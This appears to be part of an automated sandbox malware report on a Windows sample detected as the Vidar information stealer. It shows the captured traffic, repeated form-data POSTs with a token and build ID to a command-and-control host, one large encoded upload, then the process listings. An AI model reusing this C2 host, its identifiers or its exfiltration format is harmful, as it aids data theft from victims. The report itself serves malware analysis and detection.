2024-12-27 07:20:59 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----VKXT2NYUK6FU3ECBA1VA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 1821 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:59 UTC	1821	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 56 4b 58 54 32 4e 59 55 4b 36 46 55 33 45 43 42 41 31 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 58 54 32 4e 59 55 4b 36 46 55 33 45 43 42 41 31 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 56 4b 58 54 32 4e 59 55 4b 36 46 55 33 45 43 42 41 31 56 41 0d 0a 43 6f 6e 74 Data Ascii: ------VKXT2NYUK6FU3ECBA1VAContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------VKXT2NYUK6FU3ECBA1VAContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------VKXT2NYUK6FU3ECBA1VACont
2024-12-27 07:21:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:21:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49955	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:00 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2NG4EUKNOP8QIMG4790R User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:21:00 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 4e 47 34 45 55 4b 4e 4f 50 38 51 49 4d 47 34 37 39 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 32 4e 47 34 45 55 4b 4e 4f 50 38 51 49 4d 47 34 37 39 30 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 32 4e 47 34 45 55 4b 4e 4f 50 38 51 49 4d 47 34 37 39 30 52 0d 0a 43 6f 6e 74 Data Ascii: ------2NG4EUKNOP8QIMG4790RContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------2NG4EUKNOP8QIMG4790RContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------2NG4EUKNOP8QIMG4790RCont
2024-12-27 07:21:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:21:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49962	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:03 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EUS26XB16P8YM7QQ1VAS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 98317 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 55 53 32 36 58 42 31 36 50 38 59 4d 37 51 51 31 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 45 55 53 32 36 58 42 31 36 50 38 59 4d 37 51 51 31 56 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 55 53 32 36 58 42 31 36 50 38 59 4d 37 51 51 31 56 41 53 0d 0a 43 6f 6e 74 Data Ascii: ------EUS26XB16P8YM7QQ1VASContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------EUS26XB16P8YM7QQ1VASContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------EUS26XB16P8YM7QQ1VASCont
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 55 55 55 55 41 46 46 46 46 41 42 53 55 74 46 41 43 55 55 55 55 41 46 4a 53 30 55 41 4a 52 52 52 51 41 55 6c 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 42 6f 6f 4e 41 43 55 55 55 55 41 46 46 46 46 41 43 55 55 74 4a 51 41 6c 46 4c 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 52 52 52 51 41 6c 46 46 46 41 42 53 47 6c 70 44 51 41 55 55 55 55 41 46 4a 53 30 6c 41 42 51 61 4b 4b 41 45 6f 70 61 53 67 41 6f 6f 6f 6f 41 4b 53 6c 6f 6f 41 53 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 53 6c 70 4b 41 43 6b 70 61 53 67 41 6f 6f 6f 6f 41 31 36 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 76 4d 66 69 55 76 38 41 59 2f 69 7a 77 78 34 6d 58 68 49 70 78 62 7a 74 2f 73 35 7a 2f Data Ascii: UUUUAFFFFABSUtFACUUUUAFJS0UAJRRRQAUlLRQAlFFFABRRRQAUUUUAFBooNACUUUUAFFFFACUUtJQAlFLRQAlFFFABRRRQAlFFFABRRRQAlFFFABRRRQAlFFFABSGlpDQAUUUUAFJS0lABQaKKAEopaSgAooooAKSlooASiiigBKKWkoAKKKKAEooooAKSlpKACkpaSgAooooA16KKKACiiigAooooASvMfiUv8AY/izwx4mXhIpxbzt/s5z/
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 58 74 35 66 52 74 48 6d 5a 34 57 4f 6c 7a 56 62 64 69 56 66 61 70 56 2b 74 51 67 31 49 44 58 71 4a 48 46 59 6e 55 38 31 4b 6f 79 61 69 58 72 55 79 34 37 35 6f 73 5a 76 79 46 78 6e 33 71 49 75 38 54 5a 51 6b 56 30 57 6c 65 48 70 62 77 43 57 34 4a 53 49 39 42 33 4e 64 52 44 34 61 30 6c 49 67 72 57 6f 6b 39 53 35 35 72 68 72 59 36 6c 42 38 75 35 32 55 73 42 55 71 4b 37 30 4f 4a 73 72 78 5a 78 74 59 34 63 56 63 48 31 72 62 31 48 77 66 61 4d 50 4f 73 43 59 5a 6c 35 41 37 47 73 44 4d 6b 55 6a 52 54 4c 74 6b 55 34 59 56 35 39 53 74 43 57 73 54 48 45 59 57 56 46 33 65 78 4d 4b 73 78 4e 7a 56 51 4e 79 4b 6d 6a 50 4e 65 64 56 6c 71 63 36 4e 69 32 63 35 46 62 31 72 4a 6c 4b 35 6d 32 62 70 57 37 5a 53 56 77 54 33 4c 6a 6f 58 37 75 50 7a 37 4f 52 44 32 55 6b 66 57 75 Data Ascii: Xt5fRtHmZ4WOlzVbdiVfapV+tQg1IDXqJHFYnU81KoyaiXrUy475osZvyFxn3qIu8TZQkV0WleHpbwCW4JSI9B3NdRD4a0lIgrWok9S55rhrY6lB8u52UsBUqK70OJsrxZxtY4cVcH1rb1HwfaMPOsCYZl5A7GsDMkUjRTLtkU4YV59StCWsTHEYWVF3exMKsxNzVQNyKmjPNedVlqc6Ni2c5Fb1rJlK5m2bpW7ZSVwT3LjoX7uPz7ORD2UkfWu
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 4c 77 73 59 6a 79 55 75 4a 6c 7a 39 4a 47 72 71 5a 66 38 41 56 50 37 71 66 35 56 7a 50 77 2f 50 2f 45 69 6e 2f 77 43 76 79 66 38 41 39 47 4e 51 42 31 66 57 69 6c 48 53 69 67 42 4b 4b 4b 4b 41 43 6b 6f 70 61 41 45 78 53 55 74 4c 51 41 32 6b 7a 54 73 55 6d 4b 41 4f 48 31 35 64 33 6a 37 54 51 41 54 2b 37 42 50 48 75 61 36 31 77 32 7a 39 32 71 37 6a 30 7a 58 4f 61 68 6b 66 45 4b 7a 32 70 76 50 32 5a 75 50 7a 72 6f 50 4e 75 63 38 32 35 78 37 4d 4b 74 45 4d 57 52 6c 69 69 33 4f 42 6e 67 48 61 4b 52 49 59 34 77 46 7a 79 54 6e 6b 30 65 5a 50 2f 77 41 2b 72 66 38 41 66 61 31 45 42 4f 58 4c 79 51 4d 78 42 79 76 7a 44 69 71 4a 4c 47 7a 50 51 44 30 36 30 30 49 33 6e 4e 6b 4c 73 2f 68 48 70 51 5a 4a 2b 76 32 5a 76 2b 2b 68 52 35 73 2f 48 2b 6a 4e 7a 2f 74 69 67 43 4e Data Ascii: LwsYjyUuJlz9JGrqZf8AVP7qf5VzPw/P/Ein/wCvyf8A9GNQB1fWilHSigBKKKKACkopaAExSUtLQA2kzTsUmKAOH15d3j7TQAT+7BPHua61w2z92q7j0zXOahkfEKz2pvP2ZuPzroPNuc825x7MKtEMWRlii3OBngHaKRIY4wFzyTnk0eZP/wA+rf8Afa1EBOXLyQMxByvzDiqJLGzPQD0600I3nNkLs/hHpQZJ+v2Zv++hR5s/H+jNz/tigCN
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 70 78 64 6d 6d 4e 53 6c 73 39 6a 48 62 56 72 39 4a 4d 4e 5a 6c 6c 55 34 4f 31 54 79 66 38 4d 59 71 5a 74 59 6d 55 74 2f 6f 45 70 41 58 63 4d 44 72 57 76 67 65 67 78 52 67 65 67 34 36 56 73 68 47 44 4c 72 56 32 34 68 4d 46 6c 49 43 78 47 34 4d 4f 67 72 63 58 4a 55 45 39 78 54 73 44 47 4f 50 79 6f 41 34 70 67 4a 53 5a 70 39 4a 69 67 44 6b 37 67 2f 38 58 4c 73 76 2b 76 52 76 36 31 31 31 63 66 65 6e 62 38 53 62 48 2f 72 30 62 2b 74 64 50 35 68 39 61 41 4c 4f 52 54 66 78 71 44 7a 50 65 6b 33 6d 67 43 63 39 61 53 6f 64 35 6f 38 77 30 41 53 45 6d 6d 6d 6f 7a 49 61 54 64 51 41 2b 6b 4a 46 4d 4a 4e 4d 4c 55 41 50 4c 55 77 6d 6d 46 36 4e 31 41 44 73 30 30 6d 6d 6c 71 61 57 6f 41 63 54 54 53 61 61 54 52 6e 69 67 42 63 30 32 6b 7a 53 5a 6f 41 55 6d 6d 35 70 43 61 54 Data Ascii: pxdmmNSls9jHbVr9JMNZllU4O1Tyf8MYqZtYmUt/oEpAXcMDrWvgegxRgeg46VshGDLrV24hMFlICxG4MOgrcXJUE9xTsDGOPyoA4pgJSZp9JigDk7g/8XLsv+vRv6111cfenb8SbH/r0b+tdP5h9aALORTfxqDzPek3mgCc9aSod5o8w0ASEmmmozIaTdQA+kJFMJNMLUAPLUwmmF6N1ADs00mmlqaWoAcTTSaaTRnigBc02kzSZoAUmm5pCaT
2024-12-27 07:21:03 UTC	16355	OUT	Data Raw: 62 49 78 42 4f 4e 78 50 4a 78 6e 6a 50 51 64 4b 35 71 34 73 45 66 79 78 4e 6f 31 33 4a 72 69 36 74 48 4a 4c 64 69 31 63 35 69 2b 30 41 67 2b 62 6a 42 51 4a 74 2b 58 4a 78 6a 6f 4e 75 51 66 61 53 44 70 63 39 45 71 43 30 76 49 4c 36 45 7a 57 30 6d 2b 4d 4f 38 5a 4f 43 50 6d 56 69 72 44 6e 30 49 49 72 68 6c 74 35 70 2f 47 46 6e 64 4a 70 51 67 6b 2b 33 53 72 63 46 64 4e 6c 44 6d 50 5a 49 75 58 75 53 64 72 71 33 79 6b 4b 42 67 5a 55 5a 34 35 62 46 59 57 2b 6e 36 4a 4c 59 4c 6f 4b 4b 57 31 47 58 37 51 58 30 75 53 61 4e 55 33 79 4e 47 78 6a 51 44 7a 6c 78 74 41 77 53 46 79 44 78 6a 46 48 53 34 33 76 62 2b 75 76 38 41 6b 65 68 55 56 7a 2f 67 75 47 65 33 38 4f 72 44 50 45 30 57 79 34 6e 38 74 47 68 61 45 42 50 4d 59 72 68 47 4a 4b 72 6a 47 42 6b 34 47 4b 36 43 68 Data Ascii: bIxBONxPJxnjPQdK5q4sEfyxNo13Jri6tHJLdi1c5i+0Ag+bjBQJt+XJxjoNuQfaSDpc9EqC0vIL6EzW0m+MO8ZOCPmVirDn0IIrhlt5p/GFndJpQgk+3SrcFdNlDmPZIuXuSdrq3ykKBgZUZ45bFYW+n6JLYLoKKW1GX7QX0uSaNU3yNGxjQDzlxtAwSFyDxjFHS43vb+uv8AkehUVz/guGe38OrDPE0Wy4n8tGhaEBPMYrhGJKrjGBk4GK6Ch
2024-12-27 07:21:03 UTC	187	OUT	Data Raw: 6a 41 35 42 42 48 49 49 50 65 75 6c 73 66 48 6d 71 35 65 44 58 35 5a 2f 45 47 6e 53 41 62 37 50 55 4c 6c 33 41 59 66 64 5a 47 4a 4a 52 67 65 34 36 67 6b 48 72 58 4c 55 55 57 41 36 44 55 50 47 2f 69 58 55 66 50 6a 6b 31 71 39 69 74 5a 6c 4d 5a 73 37 65 64 34 37 64 59 79 4d 65 57 73 59 4f 30 4c 6a 6a 47 4f 6c 63 2f 52 52 54 41 4b 75 53 66 38 41 49 46 74 66 2b 76 69 62 2f 77 42 42 6a 71 6e 56 79 54 2f 6b 43 32 76 2f 41 46 38 54 66 2b 67 78 30 41 66 2f 32 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 55 53 32 36 58 42 31 36 50 38 59 4d 37 51 51 31 56 41 53 2d 2d 0d 0a Data Ascii: jA5BBHIIPeulsfHmq5eDX5Z/EGnSAb7PULl3AYfdZGJJRge46gkHrXLUUWA6DUPG/iXUfPjk1q9itZlMZs7ed47dYyMeWsYO0LjjGOlc/RRTAKuSf8AIFtf+vib/wBBjqnVyT/kC2v/AF8Tf+gx0Af/2Q==------EUS26XB16P8YM7QQ1VAS--
2024-12-27 07:21:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:21:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49972	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:06 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----W4OHLXBIEU3EUA1VAASR User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:21:06 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 34 4f 48 4c 58 42 49 45 55 33 45 55 41 31 56 41 41 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 57 34 4f 48 4c 58 42 49 45 55 33 45 55 41 31 56 41 41 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 57 34 4f 48 4c 58 42 49 45 55 33 45 55 41 31 56 41 41 53 52 0d 0a 43 6f 6e 74 Data Ascii: ------W4OHLXBIEU3EUA1VAASRContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------W4OHLXBIEU3EUA1VAASRContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------W4OHLXBIEU3EUA1VAASRCont
2024-12-27 07:21:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:21:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49979	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:09 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6X4ECT0ZMOZUAAA1VSRI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:21:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 58 34 45 43 54 30 5a 4d 4f 5a 55 41 41 41 31 56 53 52 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 36 58 34 45 43 54 30 5a 4d 4f 5a 55 41 41 41 31 56 53 52 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 36 58 34 45 43 54 30 5a 4d 4f 5a 55 41 41 41 31 56 53 52 49 0d 0a 43 6f 6e 74 Data Ascii: ------6X4ECT0ZMOZUAAA1VSRIContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------6X4ECT0ZMOZUAAA1VSRIContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------6X4ECT0ZMOZUAAA1VSRICont
2024-12-27 07:21:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50058	23.219.161.152	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:41 UTC	373	OUT	POST /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Content-Length: 649 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-27 07:21:41 UTC	649	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 36 37 30 38 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 35 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 33 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 33 2e 32 30 39 2e 37 32 2e 32 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f Data Ascii: [{"age":46708,"body":{"elapsed_time":350,"method":"GET","phase":"application","protocol":"h3","referrer":"https://ntp.msn.com/","sampling_fraction":0.1,"server_ip":"23.209.72.25","status_code":404,"type":"http.error"},"type":"network-error","url":"https:/
2024-12-27 07:21:42 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Fri, 27 Dec 2024 07:21:42 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.98112317.1735284101.5d7596ac Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50059	23.219.161.132	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:21:41 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-27 07:21:41 UTC	466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 39 32 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 36 39 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e Data Ascii: [{"age":59926,"body":{"elapsed_time":2692,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bin
2024-12-27 07:21:42 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Fri, 27 Dec 2024 07:21:42 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.84112317.1735284101.706e6fa3 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Target ID:	0
Start time:	02:19:56
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\aD7D9fkpII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aD7D9fkpII.exe"
Imagebase:	0x870000
File size:	406'528 bytes
MD5 hash:	6B3FBDAF99ECE34F12DC443F1C630812
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:19:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:19:57
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\aD7D9fkpII.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aD7D9fkpII.exe"
Imagebase:	0x870000
File size:	406'528 bytes
MD5 hash:	6B3FBDAF99ECE34F12DC443F1C630812
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:19:57
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\aD7D9fkpII.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aD7D9fkpII.exe"
Imagebase:	0x870000
File size:	406'528 bytes
MD5 hash:	6B3FBDAF99ECE34F12DC443F1C630812
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:19:57
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\aD7D9fkpII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aD7D9fkpII.exe"
Imagebase:	0x870000
File size:	406'528 bytes
MD5 hash:	6B3FBDAF99ECE34F12DC443F1C630812
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
